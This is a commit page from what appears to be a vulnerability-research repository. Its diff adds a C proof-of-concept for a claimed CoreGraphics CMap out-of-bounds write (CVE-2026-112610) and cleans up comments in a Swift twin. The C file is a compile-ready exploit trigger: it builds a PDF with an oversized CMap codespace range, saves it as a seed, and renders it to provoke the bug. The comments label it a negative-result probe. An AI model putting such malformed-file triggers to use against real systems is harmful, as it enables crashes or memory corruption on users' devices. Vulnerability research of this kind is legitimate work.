v2.0 — 31 C POC twins + harness fixes
- 31 C POC files, one per CVE folder: full seed construction + trigger + main(), self-contained, no app dependency. All compile clean with clang -O2 -Wall (zero warnings) on macOS arm64; each has a recorded oracle on this host. - CMGetDMVersionLevelFromRPU ABI pinned by disassembly: macOS export is (CFDataRef), the Swift POC drives the 4-arg iOS surface — this is the mechanism behind the cm.rpu death oracle on the simulator build. - Harness fixes: glyphCount guard, MachOInspector size guard, ModTools clamp, DeviceModel iPhone19,7, GPTPayload clamps, Gate patch display. - POC comments rewritten English-only (31 swift + arc.rr + 5 py). - README (en/zh): C twin column, .c anatomy section, compile/run examples, C oracle verification status. - Dead if-let binding removed from Identity summary; v2.0 build 3.
This commit is contained in:
1 parent
1ea76ab005
commit
7949c7ce9f
79 files changed
+4109
-892
No files matched your search
@@ -0,0 +1,161 @@
|
||||
// cg.cmap · CoreGraphics · _cmap_convert · CVE-2026-112610
|
||||
// CMap /UseCMap recursion out-of-bounds write (negative-result probe)
|
||||
// C twin of the Swift POC: builds the embedded-CMap probe PDF and renders it.
|
||||
// Build: clang -O2 -o cve-2026-112610 CVE-2026-112610.c -framework CoreGraphics -framework CoreFoundation
|
||||
// Run: ./cve-2026-112610 [codespace-length]
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
// ── byte buffer ──
|
||||
typedef struct { uint8_t *d; size_t n, cap; } buf;
|
||||
static void bneed(buf *b, size_t extra) {
|
||||
if (b->n + extra > b->cap) { b->cap = (b->n + extra) * 2 + 64; b->d = realloc(b->d, b->cap); }
|
||||
}
|
||||
static void bput(buf *b, uint8_t v) { bneed(b, 1); b->d[b->n++] = v; }
|
||||
static void bcat(buf *b, const void *p, size_t n) { bneed(b, n); memcpy(b->d + b->n, p, n); b->n += n; }
|
||||
static void bfree(buf *b) { free(b->d); b->d = NULL; b->n = b->cap = 0; }
|
||||
|
||||
// ── PDF object builder ──
|
||||
#define MAXOBJ 16
|
||||
typedef struct {
|
||||
int n[MAXOBJ];
|
||||
char dict[MAXOBJ][1024];
|
||||
buf stream[MAXOBJ];
|
||||
int has_stream[MAXOBJ];
|
||||
int count;
|
||||
} pdfbuilder;
|
||||
static void pdf_add(pdfbuilder *p, int n, const char *dict, const char *stream) {
|
||||
if (p->count >= MAXOBJ || n >= MAXOBJ) return;
|
||||
p->n[p->count] = n;
|
||||
snprintf(p->dict[p->count], sizeof(p->dict[p->count]), "%s", dict);
|
||||
if (stream) { bcat(&p->stream[p->count], stream, strlen(stream)); p->has_stream[p->count] = 1; }
|
||||
p->count++;
|
||||
}
|
||||
static buf pdf_data(pdfbuilder *p) {
|
||||
buf out = {0};
|
||||
bcat(&out, "%PDF-1.7\n%\xe2\xe3\xcf\xd3\n", 14);
|
||||
int offsets[MAXOBJ] = {0}, maxobj = 0;
|
||||
for (int i = 0; i < p->count; i++) if (p->n[i] > maxobj) maxobj = p->n[i];
|
||||
for (int target = 1; target <= maxobj; target++) {
|
||||
for (int i = 0; i < p->count; i++) {
|
||||
if (p->n[i] != target) continue;
|
||||
offsets[target] = (int)out.n;
|
||||
char line[64];
|
||||
snprintf(line, sizeof(line), "%d 0 obj\n", target);
|
||||
bcat(&out, line, strlen(line));
|
||||
bcat(&out, p->dict[i], strlen(p->dict[i]));
|
||||
if (p->has_stream[i]) {
|
||||
bcat(&out, "\nstream\n", 8);
|
||||
bcat(&out, p->stream[i].d, p->stream[i].n);
|
||||
bcat(&out, "\nendstream", 10);
|
||||
}
|
||||
bcat(&out, "\nendobj\n", 8);
|
||||
}
|
||||
}
|
||||
size_t xrefpos = out.n;
|
||||
char line[128];
|
||||
snprintf(line, sizeof(line), "xref\n0 %d\n0000000000 65535 f \n", maxobj + 1);
|
||||
bcat(&out, line, strlen(line));
|
||||
for (int t = 1; t <= maxobj; t++) {
|
||||
snprintf(line, sizeof(line), "%010d 00000 n \n", offsets[t]);
|
||||
bcat(&out, line, strlen(line));
|
||||
}
|
||||
snprintf(line, sizeof(line), "trailer\n<< /Size %d /Root 1 0 R >>\nstartxref\n%zu\n%%%%EOF\n",
|
||||
maxobj + 1, xrefpos);
|
||||
bcat(&out, line, strlen(line));
|
||||
return out;
|
||||
}
|
||||
|
||||
// ── seed construction (from Cinder27 Sources: PDFPayload.cmapProbe) ──
|
||||
static buf pdf_cmap_probe(int codespace_length) {
|
||||
buf cmap = {0};
|
||||
if (codespace_length < 2) codespace_length = 2;
|
||||
bcat(&cmap, "%!PS-Adobe-3.0 Resource-CMap\n", 29);
|
||||
bcat(&cmap, "/CIDInit /ProcSet findresource begin\n12 dict begin begincmap\n", 59);
|
||||
bcat(&cmap, "/CMapName /Cinder def\n/CMapType 1 def\n/WMode 0 def\n", 51);
|
||||
bcat(&cmap, "1 begincodespacerange\n", 23);
|
||||
bput(&cmap, '<'); bput(&cmap, '0'); bput(&cmap, '0'); bput(&cmap, '>');
|
||||
bput(&cmap, ' ');
|
||||
bput(&cmap, '<');
|
||||
for (int i = 0; i < codespace_length; i++) bput(&cmap, 'F');
|
||||
bput(&cmap, '>');
|
||||
bput(&cmap, '\n');
|
||||
bcat(&cmap, "endcodespacerange\n", 18);
|
||||
bcat(&cmap, "1 begincidrange\n<00> <FF> 0\nendcidrange\n", 39);
|
||||
bcat(&cmap, "endcmap CMapName currentdict /CMap defineresource pop end end\n", 61);
|
||||
|
||||
char dict6[256], lenbuf[32];
|
||||
snprintf(lenbuf, sizeof(lenbuf), "%zu", cmap.n);
|
||||
snprintf(dict6, sizeof(dict6),
|
||||
"<< /Type /CMap /CMapName /Cinder /CIDSystemInfo << /Registry (Adobe) /Ordering (Identity) /Supplement 0 >> /Length %s >>",
|
||||
lenbuf);
|
||||
|
||||
pdfbuilder p = {0};
|
||||
pdf_add(&p, 1, "<< /Type /Catalog /Pages 2 0 R >>", NULL);
|
||||
pdf_add(&p, 2, "<< /Type /Pages /Kids [3 0 R] /Count 1 >>", NULL);
|
||||
pdf_add(&p, 3, "<< /Type /Page /Parent 2 0 R /MediaBox [0 0 200 200] /Resources << /Font << /F1 5 0 R >> >> /Contents 4 0 R >>", NULL);
|
||||
pdf_add(&p, 4, "<< /Length 30 >>", "BT /F1 12 Tf 10 100 Td <0041> Tj ET");
|
||||
pdf_add(&p, 5, "<< /Type /Font /Subtype /Type0 /BaseFont /Cinder /Encoding 6 0 R /DescendantFonts [7 0 R] >>", NULL);
|
||||
pdf_add(&p, 6, dict6, (const char *)cmap.d);
|
||||
pdf_add(&p, 7, "<< /Type /Font /Subtype /CIDFontType2 /BaseFont /Cinder /CIDSystemInfo << /Registry (Adobe) /Ordering (Identity) /Supplement 0 >> /DW 500 >>", NULL);
|
||||
buf out = pdf_data(&p);
|
||||
bfree(&cmap);
|
||||
return out;
|
||||
}
|
||||
|
||||
// ── trigger: render the PDF through CoreGraphics ──
|
||||
#include <CoreGraphics/CoreGraphics.h>
|
||||
#include <CoreFoundation/CoreFoundation.h>
|
||||
|
||||
static int render_pdf(const buf *pdf, const char **detail) {
|
||||
CFDataRef cf = CFDataCreate(NULL, pdf->d, (CFIndex)pdf->n);
|
||||
if (!cf) { *detail = "CFDataCreate failed"; return -1; }
|
||||
CGDataProviderRef prov = CGDataProviderCreateWithCFData(cf);
|
||||
CFRelease(cf);
|
||||
if (!prov) { *detail = "CGDataProviderCreateWithCFData failed"; return -1; }
|
||||
CGPDFDocumentRef doc = CGPDFDocumentCreateWithProvider(prov);
|
||||
CGDataProviderRelease(prov);
|
||||
if (!doc) { *detail = "CGPDFDocumentCreateWithProvider failed (file refused)"; return -1; }
|
||||
CGPDFPageRef page = CGPDFDocumentGetPage(doc, 1);
|
||||
if (!page) { *detail = "no page 1"; CGPDFDocumentRelease(doc); return -1; }
|
||||
|
||||
const int pixels = 256, bpr = pixels * 4;
|
||||
uint8_t *buffer = calloc((size_t)bpr * pixels, 1);
|
||||
CGContextRef ctx = CGBitmapContextCreate(buffer, pixels, pixels, 8, bpr,
|
||||
CGColorSpaceCreateDeviceRGB(),
|
||||
kCGImageAlphaPremultipliedLast);
|
||||
if (!ctx) { free(buffer); *detail = "CGBitmapContextCreate failed"; CGPDFDocumentRelease(doc); return -1; }
|
||||
CGContextSetRGBFillColor(ctx, 1, 1, 1, 1);
|
||||
CGContextFillRect(ctx, CGRectMake(0, 0, pixels, pixels));
|
||||
|
||||
// === trigger ===
|
||||
CGContextDrawPDFPage(ctx, page);
|
||||
|
||||
static char result[128];
|
||||
int mid = bpr * (pixels / 2) + (pixels / 2) * 4;
|
||||
snprintf(result, sizeof(result), "render complete; centre pixel RGBA = %u,%u,%u,%u",
|
||||
buffer[mid], buffer[mid + 1], buffer[mid + 2], buffer[mid + 3]);
|
||||
*detail = result;
|
||||
CGContextRelease(ctx);
|
||||
free(buffer);
|
||||
CGPDFDocumentRelease(doc);
|
||||
return 0;
|
||||
}
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
int codespace_length = argc > 1 ? atoi(argv[1]) : 128;
|
||||
|
||||
buf pdf = pdf_cmap_probe(codespace_length);
|
||||
|
||||
FILE *f = fopen("cmap_probe.pdf", "wb");
|
||||
if (f) { fwrite(pdf.d, 1, pdf.n, f); fclose(f); }
|
||||
|
||||
const char *detail = NULL;
|
||||
int rc = render_pdf(&pdf, &detail);
|
||||
printf("CVE-2026-112610 · codespace length %d · %s\n", codespace_length, detail ? detail : "?");
|
||||
printf("seed: cmap_probe.pdf (%zu B) · exit code %d\n", pdf.n, rc);
|
||||
bfree(&pdf);
|
||||
return rc == 0 ? 0 : 1;
|
||||
}
|
||||
@@ -1,21 +1,8 @@
|
||||
// cg.cmap · CoreGraphics · _cmap_convert · CVE-2026-112610
|
||||
// 原语: OOB 写 · 进程内 · tier 3
|
||||
// Primitive: OOB write · in-process · tier 3
|
||||
//
|
||||
// [zh] CMap /UseCMap 递归越界写(负结果探针)
|
||||
// _cmap_convert 在递归时把外层的 codespace 长度(最大 255)传入仅容纳单个结果的输出槽(2 字节 code / 8 字节 len)。27.2 增加 min(L,4)
|
||||
// 钳制并重排输出槽布局。
|
||||
//
|
||||
// [en] CMap /UseCMap recursion out-of-bounds write (negative-result probe)
|
||||
// _cmap_convert passes the outer codespace length (up to 255) into an output slot sized for a single
|
||||
// result (2-byte code / 8-byte len) when it recurses. iOS 27.2 adds a min(L,4) clamp and re-lays
|
||||
// out the output slots.
|
||||
// ── 判别 / oracle ──
|
||||
// 源分析中,内嵌 CMap 这一载体被三条相互独立的可达性阻断否定。本模块的价值在于将负结果同样留档:若该构建上出现崩溃,说明载体已被重新打通,结论需随之修正。
|
||||
|
||||
// CMap /UseCMap recursion out-of-bounds write (negative-result probe)
|
||||
import Foundation
|
||||
|
||||
// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ──
|
||||
// ── byte helpers (from Cinder27 Sources/Kit.swift) ──
|
||||
enum B {
|
||||
static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
|
||||
static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
|
||||
@@ -36,7 +23,7 @@ enum B {
|
||||
static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) }
|
||||
}
|
||||
|
||||
// ── 种子构造 / seed construction — verbatim from Cinder27 Sources (PDFPayload) ──
|
||||
// ── seed construction (from Cinder27 Sources: PDFPayload) ──
|
||||
enum PDFPayload {
|
||||
struct PDFBuilder {
|
||||
private var objects: [Int: (dict: String, stream: [UInt8]?)] = [:]
|
||||
|
||||
Reference in new issue
Block a user